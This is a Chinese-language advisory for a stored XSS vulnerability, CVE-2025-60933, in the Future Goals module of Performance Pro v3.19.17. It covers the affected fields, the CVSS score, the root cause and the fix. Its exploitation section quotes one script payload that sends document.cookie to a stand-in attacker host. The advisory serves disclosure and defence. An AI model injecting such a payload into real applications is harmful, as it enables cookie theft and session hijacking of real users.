CVE-2025-60933CVE-2025-60933是HR Performance Solutions Performance Pro v3.19.17中存在的一组存储型跨站脚本(Stored XSS)漏洞。该漏洞位于应用程序的Future Goals(未来目标)功能模块中,攻击者可以通过精心构造的恶意负载注入到多个输入参数中,包括Goal Name(目标名称)、Goal Notes(目标备注)、Action Step Name(行动步骤名称)、Action Step Description(行动步骤描述)、Note Name(备注名称)以及Goal Description(目标描述)等字段。由于应用程序未对这些用户输入进行充分的过滤和转义处理,恶意脚本或HTML代码将被持久化存储在服务器端,当其他用户访问包含这些数据的页面时,存储的恶意代码将在其浏览器中自动执行。
该漏洞的CVSS评分为6.1,属于中危级别。其攻击向量为网络(AV:N),攻击复杂度低(AC:L),无需特权(PR:N),但需要用户交互(UI:R),影响范围为变更(S:C),对机密性和完整性产生低影响,对可用性无影响。
此漏洞的危害主要体现在以下几个方面:攻击者可以窃取受害者的会话cookie、进行钓鱼攻击、劫持用户账户、在受害者浏览器中执行任意JavaScript代码、篡改页面内容以及进行权限提升等。由于该漏洞为存储型XSS,一旦恶意内容被存储,影响范围将持续扩大,所有访问受影响页面的用户都可能成为受害者。
该漏洞已于PP-Release-6.3.2.0版本中修复,建议受影响的用户尽快升级到该版本以消除安全风险。
该漏洞属于典型的存储型XSS漏洞,其根本原因在于HR Performance Solutions Performance Pro v3.19.17的Future Goals功能模块对用户输入数据缺乏充分的输出编码和输入验证机制。
在技术实现层面,当用户在Future Goals功能中创建或编辑目标时,前端表单会将用户输入的数据(如Goal Name、Goal Notes等参数)提交到服务器端进行处理和存储。由于后端程序在接收这些输入时未进行严格的HTML/JavaScript标签过滤,也未对特殊字符(如<、>、"、'等)进行HTML实体编码转义,攻击者可以直接将恶意脚本代码作为正常数据提交并被持久化保存到数据库中。
当其他已认证用户访问包含这些存储数据的页面时,服务器端将未经转义的用户输入直接嵌入到返回的HTML响应中,浏览器在解析这些HTML时会将恶意脚本视为合法的页面内容并执行。由于这些恶意代码在受害者的浏览器上下文中执行,它们可以访问该站点的会话cookie、DOM对象以及执行任何该用户有权限执行的操作。
利用方式方面,攻击者首先需要获得应用程序的有效账户(可通过社会工程学或其他方式获取),然后登录系统并导航至Future Goals功能模块,在目标名称、备注、行动步骤等输入字段中注入类似`<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>`的恶意负载。提交后,该恶意内容将被存储。后续任何查看该目标的合法用户都将触发脚本执行,从而导致cookie窃取、会话劫持或其他恶意操作。